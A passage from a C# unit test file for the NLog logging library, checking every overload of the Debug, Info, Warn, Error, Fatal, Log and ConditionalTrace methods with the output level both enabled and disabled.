// Obsolete method requires testing until completely removed.
logger.DebugException("message", new Exception("test"));
if (enabled == 1) AssertDebugLastMessage("debug", "message");
#pragma warning restore 0618
logger.Debug(delegate { return "message from lambda"; });
if (enabled == 1) AssertDebugLastMessage("debug", "message from lambda");
if (enabled == 0)
AssertDebugCounter("debug", 0);
}
}
[Fact]
public void InfoTest()
{
// test all possible overloads of the Info() method
for (int enabled = 0; enabled < 2; ++enabled)
{
if (enabled == 0)
{
LogManager.Configuration = CreateConfigurationFromString(@"
<nlog>
<targets><target name='debug' type='Debug' layout='${message}' /></targets>
<rules>
<logger name='*' levels='' writeTo='debug' />
</rules>
</nlog>");
}
else
{
LogManager.Configuration = CreateConfigurationFromString(@"
<nlog>
<targets><target name='debug' type='Debug' layout='${message}' /></targets>
<rules>
<logger name='*' levels='Info' writeTo='debug' />
</rules>
</nlog>");
}
ILogger logger = LogManager.GetLogger("A");
logger.Info("message");
if (enabled == 1) AssertDebugLastMessage("debug", "message");
logger.Info("message{0}", (ulong)1);
if (enabled == 1) AssertDebugLastMessage("debug", "message1");
logger.Info(CultureInfo.InvariantCulture, "message{0}", (ulong)2);
if (enabled == 1) AssertDebugLastMessage("debug", "message2");
logger.Info("message{0}", (long)1);
if (enabled == 1) AssertDebugLastMessage("debug", "message1");
logger.Info(CultureInfo.InvariantCulture, "message{0}", (long)2);
if (enabled == 1) AssertDebugLastMessage("debug", "message2");
logger.Info("message{0}", (uint)1);
if (enabled == 1) AssertDebugLastMessage("debug", "message1");
logger.Info(CultureInfo.InvariantCulture, "message{0}", (uint)2);
if (enabled == 1) AssertDebugLastMessage("debug", "message2");
logger.Info("message{0}", 1);
if (enabled == 1) AssertDebugLastMessage("debug", "message1");
logger.Info(CultureInfo.InvariantCulture, "message{0}", 2);
if (enabled == 1) AssertDebugLastMessage("debug", "message2");
logger.Info("message{0}", (ushort)1);
if (enabled == 1) AssertDebugLastMessage("debug", "message1");
logger.Info(CultureInfo.InvariantCulture, "message{0}", (ushort)2);
if (enabled == 1) AssertDebugLastMessage("debug", "message2");
logger.Info("message{0}", (sbyte)1);
if (enabled == 1) AssertDebugLastMessage("debug", "message1");
logger.Info(CultureInfo.InvariantCulture, "message{0}", (sbyte)2);
if (enabled == 1) AssertDebugLastMessage("debug", "message2");
logger.Info("message{0}", this);
if (enabled == 1) AssertDebugLastMessage("debug", "messageobject-to-string");
logger.Info(CultureInfo.InvariantCulture, "message{0}", this);
if (enabled == 1) AssertDebugLastMessage("debug", "messageobject-to-string");
logger.Info("message{0}", (short)1);
if (enabled == 1) AssertDebugLastMessage("debug", "message1");
logger.Info(CultureInfo.InvariantCulture, "message{0}", (short)2);
if (enabled == 1) AssertDebugLastMessage("debug", "message2");
logger.Info("message{0}", (byte)1);
if (enabled == 1) AssertDebugLastMessage("debug", "message1");
logger.Info(CultureInfo.InvariantCulture, "message{0}", (byte)2);
if (enabled == 1) AssertDebugLastMessage("debug", "message2");
logger.Info("message{0}", 'c');
if (enabled == 1) AssertDebugLastMessage("debug", "messagec");
logger.Info(CultureInfo.InvariantCulture, "message{0}", 'd');
if (enabled == 1) AssertDebugLastMessage("debug", "messaged");
logger.Info("message{0}", "ddd");
if (enabled == 1) AssertDebugLastMessage("debug", "messageddd");
logger.Info(CultureInfo.InvariantCulture, "message{0}", "eee");
if (enabled == 1) AssertDebugLastMessage("debug", "messageeee");
logger.Info("message{0}{1}", "ddd", 1);
if (enabled == 1) AssertDebugLastMessage("debug", "messageddd1");
logger.Info(CultureInfo.InvariantCulture, "message{0}{1}", "eee", 2);
if (enabled == 1) AssertDebugLastMessage("debug", "messageeee2");
logger.Info("message{0}{1}{2}", "ddd", 1, "eee");
if (enabled == 1) AssertDebugLastMessage("debug", "messageddd1eee");
logger.Info(CultureInfo.InvariantCulture, "message{0}{1}{2}", "eee", 2, "fff");
if (enabled == 1) AssertDebugLastMessage("debug", "messageeee2fff");
logger.Info("message{0}{1}{2}{3}", "eee", 2, "fff", "ggg");
if (enabled == 1) AssertDebugLastMessage("debug", "messageeee2fffggg");
logger.Info("message{0}", true);
if (enabled == 1) AssertDebugLastMessage("debug", "messageTrue");
logger.Info(CultureInfo.InvariantCulture, "message{0}", false);
if (enabled == 1) AssertDebugLastMessage("debug", "messageFalse");
logger.Info(CultureInfo.InvariantCulture, "message{0}", (float)2.5);
if (enabled == 1) AssertDebugLastMessage("debug", "message2.5");
logger.Info(CultureInfo.InvariantCulture, "message{0}", 2.5);
if (enabled == 1) AssertDebugLastMessage("debug", "message2.5");
logger.Info(CultureInfo.InvariantCulture, "message{0}", (decimal)2.5);
if (enabled == 1) AssertDebugLastMessage("debug", "message2.5");
#pragma warning disable 0618
// Obsolete method requires testing until removed.
logger.InfoException("message", new Exception("test"));
if (enabled == 1) AssertDebugLastMessage("debug", "message");
#pragma warning restore 0618
logger.Info(new Exception("test"), "message");
if (enabled == 1) AssertDebugLastMessage("debug", "message");
logger.Info(delegate { return "message from lambda"; });
if (enabled == 1) AssertDebugLastMessage("debug", "message from lambda");
if (enabled == 0)
AssertDebugCounter("debug", 0);
}
}
[Fact]
public void WarnTest()
{
// test all possible overloads of the Warn() method
for (int enabled = 0; enabled < 2; ++enabled)
{
if (enabled == 0)
{
LogManager.Configuration = CreateConfigurationFromString(@"
<nlog>
<targets><target name='debug' type='Debug' layout='${message}' /></targets>
<rules>
<logger name='*' levels='' writeTo='debug' />
</rules>
</nlog>");
}
else
{
LogManager.Configuration = CreateConfigurationFromString(@"
<nlog>
<targets><target name='debug' type='Debug' layout='${message}' /></targets>
<rules>
<logger name='*' levels='Warn' writeTo='debug' />
</rules>
</nlog>");
}
ILogger logger = LogManager.GetLogger("A");
logger.Warn("message");
if (enabled == 1) AssertDebugLastMessage("debug", "message");
logger.Warn("message{0}", (ulong)1);
if (enabled == 1) AssertDebugLastMessage("debug", "message1");
logger.Warn(CultureInfo.InvariantCulture, "message{0}", (ulong)2);
if (enabled == 1) AssertDebugLastMessage("debug", "message2");
logger.Warn("message{0}", (long)1);
if (enabled == 1) AssertDebugLastMessage("debug", "message1");
logger.Warn(CultureInfo.InvariantCulture, "message{0}", (long)2);
if (enabled == 1) AssertDebugLastMessage("debug", "message2");
logger.Warn("message{0}", (uint)1);
if (enabled == 1) AssertDebugLastMessage("debug", "message1");
logger.Warn(CultureInfo.InvariantCulture, "message{0}", (uint)2);
if (enabled == 1) AssertDebugLastMessage("debug", "message2");
logger.Warn("message{0}", 1);
if (enabled == 1) AssertDebugLastMessage("debug", "message1");
logger.Warn(CultureInfo.InvariantCulture, "message{0}", 2);
if (enabled == 1) AssertDebugLastMessage("debug", "message2");
logger.Warn("message{0}", (ushort)1);
if (enabled == 1) AssertDebugLastMessage("debug", "message1");
logger.Warn(CultureInfo.InvariantCulture, "message{0}", (ushort)2);
if (enabled == 1) AssertDebugLastMessage("debug", "message2");
logger.Warn("message{0}", (sbyte)1);
if (enabled == 1) AssertDebugLastMessage("debug", "message1");
logger.Warn(CultureInfo.InvariantCulture, "message{0}", (sbyte)2);
if (enabled == 1) AssertDebugLastMessage("debug", "message2");
logger.Warn("message{0}", this);
if (enabled == 1) AssertDebugLastMessage("debug", "messageobject-to-string");
logger.Warn(CultureInfo.InvariantCulture, "message{0}", this);
if (enabled == 1) AssertDebugLastMessage("debug", "messageobject-to-string");
logger.Warn("message{0}", (short)1);
if (enabled == 1) AssertDebugLastMessage("debug", "message1");
logger.Warn(CultureInfo.InvariantCulture, "message{0}", (short)2);
if (enabled == 1) AssertDebugLastMessage("debug", "message2");
logger.Warn("message{0}", (byte)1);
if (enabled == 1) AssertDebugLastMessage("debug", "message1");
logger.Warn(CultureInfo.InvariantCulture, "message{0}", (byte)2);
if (enabled == 1) AssertDebugLastMessage("debug", "message2");
logger.Warn("message{0}", 'c');
if (enabled == 1) AssertDebugLastMessage("debug", "messagec");
logger.Warn(CultureInfo.InvariantCulture, "message{0}", 'd');
if (enabled == 1) AssertDebugLastMessage("debug", "messaged");
logger.Warn("message{0}", "ddd");
if (enabled == 1) AssertDebugLastMessage("debug", "messageddd");
logger.Warn(CultureInfo.InvariantCulture, "message{0}", "eee");
if (enabled == 1) AssertDebugLastMessage("debug", "messageeee");
logger.Warn("message{0}{1}", "ddd", 1);
if (enabled == 1) AssertDebugLastMessage("debug", "messageddd1");
logger.Warn(CultureInfo.InvariantCulture, "message{0}{1}", "eee", 2);
if (enabled == 1) AssertDebugLastMessage("debug", "messageeee2");
logger.Warn("message{0}{1}{2}", "ddd", 1, "eee");
if (enabled == 1) AssertDebugLastMessage("debug", "messageddd1eee");
logger.Warn(CultureInfo.InvariantCulture, "message{0}{1}{2}", "eee", 2, "fff");
if (enabled == 1) AssertDebugLastMessage("debug", "messageeee2fff");
logger.Warn("message{0}{1}{2}{3}", "eee", 2, "fff", "ggg");
if (enabled == 1) AssertDebugLastMessage("debug", "messageeee2fffggg");
logger.Warn("message{0}", true);
if (enabled == 1) AssertDebugLastMessage("debug", "messageTrue");
logger.Warn(CultureInfo.InvariantCulture, "message{0}", false);
if (enabled == 1) AssertDebugLastMessage("debug", "messageFalse");
logger.Warn(CultureInfo.InvariantCulture, "message{0}", (float)2.5);
if (enabled == 1) AssertDebugLastMessage("debug", "message2.5");
logger.Warn(CultureInfo.InvariantCulture, "message{0}", 2.5);
if (enabled == 1) AssertDebugLastMessage("debug", "message2.5");
logger.Warn(CultureInfo.InvariantCulture, "message{0}", (decimal)2.5);
if (enabled == 1) AssertDebugLastMessage("debug", "message2.5");
#pragma warning disable 0618
// Obsolete method requires testing until removed.
logger.WarnException("message", new Exception("test"));
if (enabled == 1) AssertDebugLastMessage("debug", "message");
#pragma warning restore 0618
logger.Warn(new Exception("test"), "message");
if (enabled == 1) AssertDebugLastMessage("debug", "message");
logger.Warn(delegate { return "message from lambda"; });
if (enabled == 1) AssertDebugLastMessage("debug", "message from lambda");
if (enabled == 0)
AssertDebugCounter("debug", 0);
}
}
[Fact]
public void ErrorTest()
{
// test all possible overloads of the Error() method
for (int enabled = 0; enabled < 2; ++enabled)
{
if (enabled == 0)
{
LogManager.Configuration = CreateConfigurationFromString(@"
<nlog>
<targets><target name='debug' type='Debug' layout='${message}' /></targets>
<rules>
<logger name='*' levels='' writeTo='debug' />
</rules>
</nlog>");
}
else
{
LogManager.Configuration = CreateConfigurationFromString(@"
<nlog>
<targets><target name='debug' type='Debug' layout='${message}' /></targets>
<rules>
<logger name='*' levels='Error' writeTo='debug' />
</rules>
</nlog>");
}
ILogger logger = LogManager.GetLogger("A");
logger.Error("message");
if (enabled == 1) AssertDebugLastMessage("debug", "message");
logger.Error("message{0}", (ulong)1);
if (enabled == 1) AssertDebugLastMessage("debug", "message1");
logger.Error(CultureInfo.InvariantCulture, "message{0}", (ulong)2);
if (enabled == 1) AssertDebugLastMessage("debug", "message2");
logger.Error("message{0}", (long)1);
if (enabled == 1) AssertDebugLastMessage("debug", "message1");
logger.Error(CultureInfo.InvariantCulture, "message{0}", (long)2);
if (enabled == 1) AssertDebugLastMessage("debug", "message2");
logger.Error("message{0}", (uint)1);
if (enabled == 1) AssertDebugLastMessage("debug", "message1");
logger.Error(CultureInfo.InvariantCulture, "message{0}", (uint)2);
if (enabled == 1) AssertDebugLastMessage("debug", "message2");
logger.Error("message{0}", 1);
if (enabled == 1) AssertDebugLastMessage("debug", "message1");
logger.Error(CultureInfo.InvariantCulture, "message{0}", 2);
if (enabled == 1) AssertDebugLastMessage("debug", "message2");
logger.Error("message{0}", (ushort)1);
if (enabled == 1) AssertDebugLastMessage("debug", "message1");
logger.Error(CultureInfo.InvariantCulture, "message{0}", (ushort)2);
if (enabled == 1) AssertDebugLastMessage("debug", "message2");
logger.Error("message{0}", (sbyte)1);
if (enabled == 1) AssertDebugLastMessage("debug", "message1");
logger.Error(CultureInfo.InvariantCulture, "message{0}", (sbyte)2);
if (enabled == 1) AssertDebugLastMessage("debug", "message2");
logger.Error("message{0}", this);
if (enabled == 1) AssertDebugLastMessage("debug", "messageobject-to-string");
logger.Error(CultureInfo.InvariantCulture, "message{0}", this);
if (enabled == 1) AssertDebugLastMessage("debug", "messageobject-to-string");
logger.Error("message{0}", (short)1);
if (enabled == 1) AssertDebugLastMessage("debug", "message1");
logger.Error(CultureInfo.InvariantCulture, "message{0}", (short)2);
if (enabled == 1) AssertDebugLastMessage("debug", "message2");
logger.Error("message{0}", (byte)1);
if (enabled == 1) AssertDebugLastMessage("debug", "message1");
logger.Error(CultureInfo.InvariantCulture, "message{0}", (byte)2);
if (enabled == 1) AssertDebugLastMessage("debug", "message2");
logger.Error("message{0}", 'c');
if (enabled == 1) AssertDebugLastMessage("debug", "messagec");
logger.Error(CultureInfo.InvariantCulture, "message{0}", 'd');
if (enabled == 1) AssertDebugLastMessage("debug", "messaged");
logger.Error("message{0}", "ddd");
if (enabled == 1) AssertDebugLastMessage("debug", "messageddd");
logger.Error(CultureInfo.InvariantCulture, "message{0}", "eee");
if (enabled == 1) AssertDebugLastMessage("debug", "messageeee");
logger.Error("message{0}{1}", "ddd", 1);
if (enabled == 1) AssertDebugLastMessage("debug", "messageddd1");
logger.Error(CultureInfo.InvariantCulture, "message{0}{1}", "eee", 2);
if (enabled == 1) AssertDebugLastMessage("debug", "messageeee2");
logger.Error("message{0}{1}{2}", "ddd", 1, "eee");
if (enabled == 1) AssertDebugLastMessage("debug", "messageddd1eee");
logger.Error(CultureInfo.InvariantCulture, "message{0}{1}{2}", "eee", 2, "fff");
if (enabled == 1) AssertDebugLastMessage("debug", "messageeee2fff");
logger.Error("message{0}{1}{2}{3}", "eee", 2, "fff", "ggg");
if (enabled == 1) AssertDebugLastMessage("debug", "messageeee2fffggg");
logger.Error("message{0}", true);
if (enabled == 1) AssertDebugLastMessage("debug", "messageTrue");
logger.Error(CultureInfo.InvariantCulture, "message{0}", false);
if (enabled == 1) AssertDebugLastMessage("debug", "messageFalse");
logger.Error(CultureInfo.InvariantCulture, "message{0}", (float)2.5);
if (enabled == 1) AssertDebugLastMessage("debug", "message2.5");
logger.Error(CultureInfo.InvariantCulture, "message{0}", 2.5);
if (enabled == 1) AssertDebugLastMessage("debug", "message2.5");
logger.Error(CultureInfo.InvariantCulture, "message{0}", (decimal)2.5);
if (enabled == 1) AssertDebugLastMessage("debug", "message2.5");
#pragma warning disable 0618
// Obsolete method requires testing until completely removed.
logger.ErrorException("message", new Exception("test"));
if (enabled == 1) AssertDebugLastMessage("debug", "message");
#pragma warning restore 0618
logger.Error(new Exception("test"), "message");
if (enabled == 1) AssertDebugLastMessage("debug", "message");
logger.Error(delegate { return "message from lambda"; });
if (enabled == 1) AssertDebugLastMessage("debug", "message from lambda");
if (enabled == 0)
AssertDebugCounter("debug", 0);
}
}
[Fact]
public void FatalTest()
{
// test all possible overloads of the Fatal() method
for (int enabled = 0; enabled < 2; ++enabled)
{
if (enabled == 0)
{
LogManager.Configuration = CreateConfigurationFromString(@"
<nlog>
<targets><target name='debug' type='Debug' layout='${message}' /></targets>
<rules>
<logger name='*' levels='' writeTo='debug' />
</rules>
</nlog>");
}
else
{
LogManager.Configuration = CreateConfigurationFromString(@"
<nlog>
<targets><target name='debug' type='Debug' layout='${message}' /></targets>
<rules>
<logger name='*' levels='Fatal' writeTo='debug' />
</rules>
</nlog>");
}
ILogger logger = LogManager.GetLogger("A");
logger.Fatal("message");
if (enabled == 1) AssertDebugLastMessage("debug", "message");
logger.Fatal("message{0}", (ulong)1);
if (enabled == 1) AssertDebugLastMessage("debug", "message1");
logger.Fatal(CultureInfo.InvariantCulture, "message{0}", (ulong)2);
if (enabled == 1) AssertDebugLastMessage("debug", "message2");
logger.Fatal("message{0}", (long)1);
if (enabled == 1) AssertDebugLastMessage("debug", "message1");
logger.Fatal(CultureInfo.InvariantCulture, "message{0}", (long)2);
if (enabled == 1) AssertDebugLastMessage("debug", "message2");
logger.Fatal("message{0}", (uint)1);
if (enabled == 1) AssertDebugLastMessage("debug", "message1");
logger.Fatal(CultureInfo.InvariantCulture, "message{0}", (uint)2);
if (enabled == 1) AssertDebugLastMessage("debug", "message2");
logger.Fatal("message{0}", 1);
if (enabled == 1) AssertDebugLastMessage("debug", "message1");
logger.Fatal(CultureInfo.InvariantCulture, "message{0}", 2);
if (enabled == 1) AssertDebugLastMessage("debug", "message2");
logger.Fatal("message{0}", (ushort)1);
if (enabled == 1) AssertDebugLastMessage("debug", "message1");
logger.Fatal(CultureInfo.InvariantCulture, "message{0}", (ushort)2);
if (enabled == 1) AssertDebugLastMessage("debug", "message2");
logger.Fatal("message{0}", (sbyte)1);
if (enabled == 1) AssertDebugLastMessage("debug", "message1");
logger.Fatal(CultureInfo.InvariantCulture, "message{0}", (sbyte)2);
if (enabled == 1) AssertDebugLastMessage("debug", "message2");
logger.Fatal("message{0}", this);
if (enabled == 1) AssertDebugLastMessage("debug", "messageobject-to-string");
logger.Fatal(CultureInfo.InvariantCulture, "message{0}", this);
if (enabled == 1) AssertDebugLastMessage("debug", "messageobject-to-string");
logger.Fatal("message{0}", (short)1);
if (enabled == 1) AssertDebugLastMessage("debug", "message1");
logger.Fatal(CultureInfo.InvariantCulture, "message{0}", (short)2);
if (enabled == 1) AssertDebugLastMessage("debug", "message2");
logger.Fatal("message{0}", (byte)1);
if (enabled == 1) AssertDebugLastMessage("debug", "message1");
logger.Fatal(CultureInfo.InvariantCulture, "message{0}", (byte)2);
if (enabled == 1) AssertDebugLastMessage("debug", "message2");
logger.Fatal("message{0}", 'c');
if (enabled == 1) AssertDebugLastMessage("debug", "messagec");
logger.Fatal(CultureInfo.InvariantCulture, "message{0}", 'd');
if (enabled == 1) AssertDebugLastMessage("debug", "messaged");
logger.Fatal("message{0}", "ddd");
if (enabled == 1) AssertDebugLastMessage("debug", "messageddd");
logger.Fatal(CultureInfo.InvariantCulture, "message{0}", "eee");
if (enabled == 1) AssertDebugLastMessage("debug", "messageeee");
logger.Fatal("message{0}{1}", "ddd", 1);
if (enabled == 1) AssertDebugLastMessage("debug", "messageddd1");
logger.Fatal(CultureInfo.InvariantCulture, "message{0}{1}", "eee", 2);
if (enabled == 1) AssertDebugLastMessage("debug", "messageeee2");
logger.Fatal("message{0}{1}{2}", "ddd", 1, "eee");
if (enabled == 1) AssertDebugLastMessage("debug", "messageddd1eee");
logger.Fatal(CultureInfo.InvariantCulture, "message{0}{1}{2}", "eee", 2, "fff");
if (enabled == 1) AssertDebugLastMessage("debug", "messageeee2fff");
logger.Fatal("message{0}{1}{2}{3}", "eee", 2, "fff", "ggg");
if (enabled == 1) AssertDebugLastMessage("debug", "messageeee2fffggg");
logger.Fatal("message{0}", true);
if (enabled == 1) AssertDebugLastMessage("debug", "messageTrue");
logger.Fatal(CultureInfo.InvariantCulture, "message{0}", false);
if (enabled == 1) AssertDebugLastMessage("debug", "messageFalse");
logger.Fatal(CultureInfo.InvariantCulture, "message{0}", (float)2.5);
if (enabled == 1) AssertDebugLastMessage("debug", "message2.5");
logger.Fatal(CultureInfo.InvariantCulture, "message{0}", 2.5);
if (enabled == 1) AssertDebugLastMessage("debug", "message2.5");
logger.Fatal(CultureInfo.InvariantCulture, "message{0}", (decimal)2.5);
if (enabled == 1) AssertDebugLastMessage("debug", "message2.5");
#pragma warning disable 0618
// Obsolete method requires testing until removed.
logger.FatalException("message", new Exception("test"));
if (enabled == 1) AssertDebugLastMessage("debug", "message");
#pragma warning restore 0618
logger.Fatal(new Exception("test"), "message");
if (enabled == 1) AssertDebugLastMessage("debug", "message");
logger.Fatal(delegate { return "message from lambda"; });
if (enabled == 1) AssertDebugLastMessage("debug", "message from lambda");
if (enabled == 0)
AssertDebugCounter("debug", 0);
}
}
[Fact]
public void LogTest()
{
// test all possible overloads of the Log(level) method
foreach (LogLevel level in new LogLevel[] { LogLevel.Debug, LogLevel.Info, LogLevel.Warn, LogLevel.Error, LogLevel.Fatal })
{
for (int enabled = 0; enabled < 2; ++enabled)
{
if (enabled == 0)
{
LogManager.Configuration = CreateConfigurationFromString(@"
<nlog>
<targets><target name='debug' type='Debug' layout='${message}' /></targets>
<rules>
<logger name='*' levels='' writeTo='debug' />
</rules>
</nlog>");
}
else
{
LogManager.Configuration = CreateConfigurationFromString(@"
<nlog>
<targets><target name='debug' type='Debug' layout='${message}' /></targets>
<rules>
<logger name='*' levels='" + level.Name + @"' writeTo='debug' />
</rules>
</nlog>");
}
ILogger logger = LogManager.GetLogger("A");
logger.Log(level, "message");
if (enabled == 1) AssertDebugLastMessage("debug", "message");
logger.Log(level, "message{0}", (ulong)1);
if (enabled == 1) AssertDebugLastMessage("debug", "message1");
logger.Log(level, CultureInfo.InvariantCulture, "message{0}", (ulong)2);
if (enabled == 1) AssertDebugLastMessage("debug", "message2");
logger.Log(level, "message{0}", (long)1);
if (enabled == 1) AssertDebugLastMessage("debug", "message1");
logger.Log(level, CultureInfo.InvariantCulture, "message{0}", (long)2);
if (enabled == 1) AssertDebugLastMessage("debug", "message2");
logger.Log(level, "message{0}", (uint)1);
if (enabled == 1) AssertDebugLastMessage("debug", "message1");
logger.Log(level, CultureInfo.InvariantCulture, "message{0}", (uint)2);
if (enabled == 1) AssertDebugLastMessage("debug", "message2");
logger.Log(level, "message{0}", (int)1);
if (enabled == 1) AssertDebugLastMessage("debug", "message1");
logger.Log(level, CultureInfo.InvariantCulture, "message{0}", (int)2);
if (enabled == 1) AssertDebugLastMessage("debug", "message2");
logger.Log(level, "message{0}", (ushort)1);
if (enabled == 1) AssertDebugLastMessage("debug", "message1");
logger.Log(level, CultureInfo.InvariantCulture, "message{0}", (ushort)2);
if (enabled == 1) AssertDebugLastMessage("debug", "message2");
logger.Log(level, "message{0}", (sbyte)1);
if (enabled == 1) AssertDebugLastMessage("debug", "message1");
logger.Log(level, CultureInfo.InvariantCulture, "message{0}", (sbyte)2);
if (enabled == 1) AssertDebugLastMessage("debug", "message2");
logger.Log(level, "message{0}", this);
if (enabled == 1) AssertDebugLastMessage("debug", "messageobject-to-string");
logger.Log(level, CultureInfo.InvariantCulture, "message{0}", this);
if (enabled == 1) AssertDebugLastMessage("debug", "messageobject-to-string");
logger.Log(level, "message{0}", (short)1);
if (enabled == 1) AssertDebugLastMessage("debug", "message1");
logger.Log(level, CultureInfo.InvariantCulture, "message{0}", (short)2);
if (enabled == 1) AssertDebugLastMessage("debug", "message2");
logger.Log(level, "message{0}", (byte)1);
if (enabled == 1) AssertDebugLastMessage("debug", "message1");
logger.Log(level, CultureInfo.InvariantCulture, "message{0}", (byte)2);
if (enabled == 1) AssertDebugLastMessage("debug", "message2");
logger.Log(level, "message{0}", 'c');
if (enabled == 1) AssertDebugLastMessage("debug", "messagec");
logger.Log(level, CultureInfo.InvariantCulture, "message{0}", 'd');
if (enabled == 1) AssertDebugLastMessage("debug", "messaged");
logger.Log(level, "message{0}", "ddd");
if (enabled == 1) AssertDebugLastMessage("debug", "messageddd");
logger.Log(level, CultureInfo.InvariantCulture, "message{0}", "eee");
if (enabled == 1) AssertDebugLastMessage("debug", "messageeee");
logger.Log(level, "message{0}{1}", "ddd", 1);
if (enabled == 1) AssertDebugLastMessage("debug", "messageddd1");
logger.Log(level, CultureInfo.InvariantCulture, "message{0}{1}", "eee", 2);
if (enabled == 1) AssertDebugLastMessage("debug", "messageeee2");
logger.Log(level, "message{0}{1}{2}", "ddd", 1, "eee");
if (enabled == 1) AssertDebugLastMessage("debug", "messageddd1eee");
logger.Log(level, CultureInfo.InvariantCulture, "message{0}{1}{2}", "eee", 2, "fff");
if (enabled == 1) AssertDebugLastMessage("debug", "messageeee2fff");
logger.Log(level, "message{0}{1}{2}{3}", "eee", 2, "fff", "ggg");
if (enabled == 1) AssertDebugLastMessage("debug", "messageeee2fffggg");
logger.Log(level, "message{0}", true);
if (enabled == 1) AssertDebugLastMessage("debug", "messageTrue");
logger.Log(level, CultureInfo.InvariantCulture, "message{0}", false);
if (enabled == 1) AssertDebugLastMessage("debug", "messageFalse");
logger.Log(level, CultureInfo.InvariantCulture, "message{0}", (float)2.5);
if (enabled == 1) AssertDebugLastMessage("debug", "message2.5");
logger.Log(level, CultureInfo.InvariantCulture, "message{0}", (double)2.5);
if (enabled == 1) AssertDebugLastMessage("debug", "message2.5");
logger.Log(level, CultureInfo.InvariantCulture, "message{0}", (decimal)2.5);
if (enabled == 1) AssertDebugLastMessage("debug", "message2.5");
logger.Log(level, new Exception("test"), "message");
if (enabled == 1) AssertDebugLastMessage("debug", "message");
#pragma warning disable 0618
// Obsolete method requires testing until removed.
logger.LogException(level, "message", new Exception("test"));
if (enabled == 1) AssertDebugLastMessage("debug", "message");
#pragma warning restore 0618
logger.Log(level, delegate { return "message from lambda"; });
if (enabled == 1) AssertDebugLastMessage("debug", "message from lambda");
if (enabled == 0)
AssertDebugCounter("debug", 0);
}
}
}
#region Conditional Logger
#if DEBUG
[Fact]
public void ConditionalTraceTest()
{
// test all possible overloads of the Trace() method
for (int enabled = 0; enabled < 2; ++enabled)
{
if (enabled == 0)
{
LogManager.Configuration = CreateConfigurationFromString(@"
<nlog>
<targets><target name='debug' type='Debug' layout='${message}' /></targets>
<rules>
<logger name='*' levels='' writeTo='debug' />
</rules>
</nlog>");
}
else
{
LogManager.Configuration = CreateConfigurationFromString(@"
<nlog>
<targets><target name='debug' type='Debug' layout='${message}' /></targets>
<rules>
<logger name='*' levels='Trace' writeTo='debug' />
</rules>
</nlog>");
}
var logger = LogManager.GetLogger("A");
logger.ConditionalTrace("message");
if (enabled == 1) AssertDebugLastMessage("debug", "message");
logger.ConditionalTrace("message{0}", (ulong)1);
if (enabled == 1) AssertDebugLastMessage("debug", "message1");
logger.ConditionalTrace(CultureInfo.InvariantCulture, "message{0}", (ulong)2);
if (enabled == 1) AssertDebugLastMessage("debug", "message2");
logger.ConditionalTrace("message{0}", (long)1);
if (enabled == 1) AssertDebugLastMessage("debug", "message1");
logger.ConditionalTrace(CultureInfo.InvariantCulture, "message{0}", (long)2);
if (enabled == 1) AssertDebugLastMessage("debug", "message2");
logger.ConditionalTrace("message{0}", (uint)1);
if (enabled == 1) AssertDebugLastMessage("debug", "message1");
logger.ConditionalTrace(CultureInfo.InvariantCulture, "message{0}", (uint)2);
if (enabled == 1) AssertDebugLastMessage("debug", "message2");
logger.ConditionalTrace("message{0}", 1);
if (enabled == 1) AssertDebugLastMessage("debug", "message1");
logger.ConditionalTrace(CultureInfo.InvariantCulture, "message{0}", 2);
if (enabled == 1) AssertDebugLastMessage("debug", "message2");
logger.ConditionalTrace("message{0}", (ushort)1);
if (enabled == 1) AssertDebugLastMessage("debug", "message1");
logger.ConditionalTrace(CultureInfo.InvariantCulture, "message{0}", (ushort)2);
if (enabled == 1) AssertDebugLastMessage("debug", "message2");
logger.ConditionalTrace("message{0}", (sbyte)1);
if (enabled == 1) AssertDebugLastMessage("debug", "message1");
logger.ConditionalTrace(CultureInfo.InvariantCulture, "message{0}", (sbyte)2);
if (enabled == 1) AssertDebugLastMessage("debug", "message2");
logger.ConditionalTrace("message{0}", this);
if (enabled == 1) AssertDebugLastMessage("debug", "messageobject-to-string");
logger.ConditionalTrace(CultureInfo.InvariantCulture, "message{0}", this);
if (enabled == 1) AssertDebugLastMessage("debug", "messageobject-to-string");
logger.ConditionalTrace("message{0}", (short)1);
if (enabled == 1) AssertDebugLastMessage("debug", "message1");
logger.ConditionalTrace(CultureInfo.InvariantCulture, "message{0}", (short)2);
if (enabled == 1) AssertDebugLastMessage("debug", "message2");
logger.ConditionalTrace("message{0}", (byte)1);
if (enabled == 1) AssertDebugLastMessage("debug", "message1");
logger.ConditionalTrace(CultureInfo.InvariantCulture, "message{0}", (byte)2);
if (enabled == 1) AssertDebugLastMessage("debug", "message2");
logger.ConditionalTrace("message{0}", 'c');
if (enabled == 1) AssertDebugLastMessage("debug", "messagec");
logger.ConditionalTrace(CultureInfo.InvariantCulture, "message{0}", 'd');
if (enabled == 1) AssertDebugLastMessage("debug", "messaged");
logger.ConditionalTrace("message{0}", "ddd");
if (enabled == 1) AssertDebugLastMessage("debug", "messageddd");
logger.ConditionalTrace(CultureInfo.InvariantCulture, "message{0}", "eee");
if (enabled == 1) AssertDebugLastMessage("debug", "messageeee");
logger.ConditionalTrace("message{0}{1}", "ddd", 1);
if (enabled == 1) AssertDebugLastMessage("debug", "messageddd1");
logger.ConditionalTrace(CultureInfo.InvariantCulture, "message{0}{1}", "eee", 2);
if (enabled == 1) AssertDebugLastMessage("debug", "messageeee2");
logger.ConditionalTrace("message{0}{1}{2}", "ddd", 1, "eee");
if (enabled == 1) AssertDebugLastMessage("debug", "messageddd1eee");
logger.ConditionalTrace(CultureInfo.InvariantCulture, "message{0}{1}{2}", "eee", 2, "fff");
if (enabled == 1) AssertDebugLastMessage("debug", "messageeee2fff");
logger.ConditionalTrace("message{0}{1}{2}{3}", "eee", 2, "fff", "ggg");
if (enabled == 1) AssertDebugLastMessage("debug", "messageeee2fffggg");
logger.ConditionalTrace("message{0}", true);
if (enabled == 1) AssertDebugLastMessage("debug", "messageTrue");
logger.ConditionalTrace(CultureInfo.InvariantCulture, "message{0}", false);
if (enabled == 1) AssertDebugLastMessage("debug", "messageFalse");
logger.ConditionalTrace(CultureInfo.InvariantCulture, "message{0}", (float)2.5);
if (enabled == 1) AssertDebugLastMessage("debug", "message2.5");
logger.ConditionalTrace(CultureInfo.InvariantCulture, "message{0}", 2.5);
if (enabled == 1) AssertDebugLastMessage("debug", "message2.5");
logger.ConditionalTrace(CultureInfo.InvariantCulture, "message{0}", (decimal)2.5);
if (enabled == 1) AssertDebugLastMessage("debug", "message2.5");
logger.ConditionalTrace(new Exception("test"), "message");
if (enabled == 1) AssertDebugLastMessage("debug", "message");
logger.ConditionalTrace(delegate { return "message from lambda"; });
